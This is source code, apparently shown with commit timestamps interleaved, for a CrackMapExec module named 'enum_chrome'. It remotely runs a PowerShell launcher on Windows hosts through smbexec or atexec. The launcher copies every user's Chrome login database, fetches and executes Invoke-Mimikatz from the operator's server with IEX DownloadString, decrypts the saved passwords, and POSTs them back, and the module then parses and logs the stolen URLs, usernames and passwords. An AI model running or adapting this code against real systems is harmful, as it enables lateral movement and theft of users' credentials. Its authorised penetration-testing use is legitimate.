2016-09-12 06:52:50 +00:00
from cme . helpers import create_ps_command , get_ps_script , obfs_ps_script , validate_ntlm , write_log
2016-06-29 06:53:41 +00:00
from datetime import datetime
from StringIO import StringIO
import re
class CMEModule :
'''
Executes PowerSploit ' s Invoke-Mimikatz.ps1 script (Mimikatz ' s DPAPI Module ) to decrypt saved Chrome passwords
Module by @byt3bl33d3r
'''
name = ' enum_chrome '
description = " Uses Powersploit ' s Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords "
2016-09-12 06:52:50 +00:00
chain_support = False
2016-06-29 06:53:41 +00:00
def options ( self , context , module_options ) :
'''
'''
2016-09-12 06:52:50 +00:00
return
2016-06-29 06:53:41 +00:00
2016-09-12 06:52:50 +00:00
def launcher ( self , context , command ) :
2016-06-29 06:53:41 +00:00
'''
Oook . . Think my heads going to explode
So Mimikatz ' s DPAPI module requires the path to Chrome ' s database in double quotes otherwise it can ' t interpret paths with spaces.
Problem is Invoke - Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary .
As far as I can figure out there is no way around this , hence we have to first copy Chrome ' s database to a path without any spaces and then decrypt the entries with Mimikatz
'''
2016-09-12 06:52:50 +00:00
launcher = '''
2016-06-29 06:53:41 +00:00
$ cmd = " privilege::debug sekurlsa::dpapi "
$ userdirs = get - childitem " $Env:SystemDrive \ Users "
foreach ( $ dir in $ userdirs ) { {
$ LoginDataPath = " $Env:SystemDrive \ Users \ $dir \ AppData \ Local \ Google \ Chrome \ User Data \ Default \ Login Data "
if ( [ System . IO . File ] : : Exists ( $ LoginDataPath ) ) { {
$ rand_name = - join ( ( 65. .90 ) + ( 97. .122 ) | Get - Random - Count 7 | % { { [ char ] $ _ } } )
$ temp_path = " $Env:windir \ Temp \ $rand_name "
Copy - Item $ LoginDataPath $ temp_path
$ cmd = $ cmd + " ` " dpapi : : chrome / in : $ temp_path ` " "
} }
} }
$ cmd = $ cmd + " exit "
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {server} :// {addr} : {port} /Invoke-Mimikatz.ps1 ' ) ;
2016-09-12 06:52:50 +00:00
$ creds = Invoke - Mimikatz - Command $ cmd ;
2016-06-29 06:53:41 +00:00
$ request = [ System . Net . WebRequest ] : : Create ( ' {server} :// {addr} : {port} / ' ) ;
$ request . Method = ' POST ' ;
$ request . ContentType = ' application/x-www-form-urlencoded ' ;
$ bytes = [ System . Text . Encoding ] : : ASCII . GetBytes ( $ creds ) ;
$ request . ContentLength = $ bytes . Length ;
$ requestStream = $ request . GetRequestStream ( ) ;
$ requestStream . Write ( $ bytes , 0 , $ bytes . Length ) ;
$ requestStream . Close ( ) ;
$ request . GetResponse ( ) ; ''' .format(server=context.server,
port = context . server_port ,
2016-09-12 06:52:50 +00:00
addr = context . localip )
return create_ps_command ( launcher )
def payload ( self , context , command ) :
2016-09-21 19:40:59 +00:00
'''
Since the chrome decryption feature is relatively new , I had to manully compile the latest Mimikatz version ,
update the base64 encoded binary in the Invoke - Mimikatz . ps1 script
and apply a patch that @gentilkiwi posted here https : / / github . com / PowerShellMafia / PowerSploit / issues / 147 for the newer versions of mimikatz to work when injected .
Here we call the updated PowerShell script instead of PowerSploits version
'''
2016-09-12 06:52:50 +00:00
with open ( get_ps_script ( ' Invoke-Mimikatz.ps1 ' ) , ' r ' ) as ps_script :
return obfs_ps_script ( ps_script . read ( ) )
2016-06-29 06:53:41 +00:00
2016-09-12 06:52:50 +00:00
def on_admin_login ( self , context , connection , launcher , payload ) :
2016-09-21 19:40:59 +00:00
connection . execute ( launcher , methods = [ ' smbexec ' , ' atexec ' ] )
2016-09-12 06:52:50 +00:00
context . log . success ( ' Executed launcher ' )
2016-06-29 06:53:41 +00:00
2016-09-12 06:52:50 +00:00
def on_request ( self , context , request , launcher , payload ) :
2016-06-29 06:53:41 +00:00
if ' Invoke-Mimikatz.ps1 ' == request . path [ 1 : ] :
request . send_response ( 200 )
request . end_headers ( )
2016-09-12 06:52:50 +00:00
request . wfile . write ( payload )
2016-06-29 06:53:41 +00:00
else :
request . send_response ( 404 )
request . end_headers ( )
def on_response ( self , context , response ) :
response . send_response ( 200 )
response . end_headers ( )
length = int ( response . headers . getheader ( ' content-length ' ) )
data = response . rfile . read ( length )
#We've received the response, stop tracking this host
response . stop_tracking_host ( )
if len ( data ) :
buf = StringIO ( data ) . readlines ( )
creds = [ ]
2016-09-21 19:40:59 +00:00
try :
i = 0
while i < len ( buf ) :
if ( ' URL ' in buf [ i ] ) :
url = buf [ i ] . split ( ' : ' , 1 ) [ 1 ] . strip ( )
user = buf [ i + 1 ] . split ( ' : ' , 1 ) [ 1 ] . strip ( )
passw = buf [ i + 3 ] . split ( ' : ' , 1 ) [ 1 ] . strip ( )
creds . append ( { ' url ' : url , ' user ' : user , ' passw ' : passw } )
i + = 1
if creds :
context . log . success ( ' Found saved Chrome credentials: ' )
for cred in creds :
context . log . highlight ( ' URL: ' + cred [ ' url ' ] )
context . log . highlight ( ' Username: ' + cred [ ' user ' ] )
context . log . highlight ( ' Password: ' + cred [ ' passw ' ] )
context . log . highlight ( ' ' )
except :
context . log . error ( ' Error parsing Mimikatz output, please check log file manually for possible credentials ' )
2016-06-29 06:53:41 +00:00
log_name = ' EnumChrome- {} - {} .log ' . format ( response . client_address [ 0 ] , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) )
write_log ( data , log_name )
context . log . info ( " Saved Mimikatz ' s output to {} " . format ( log_name ) )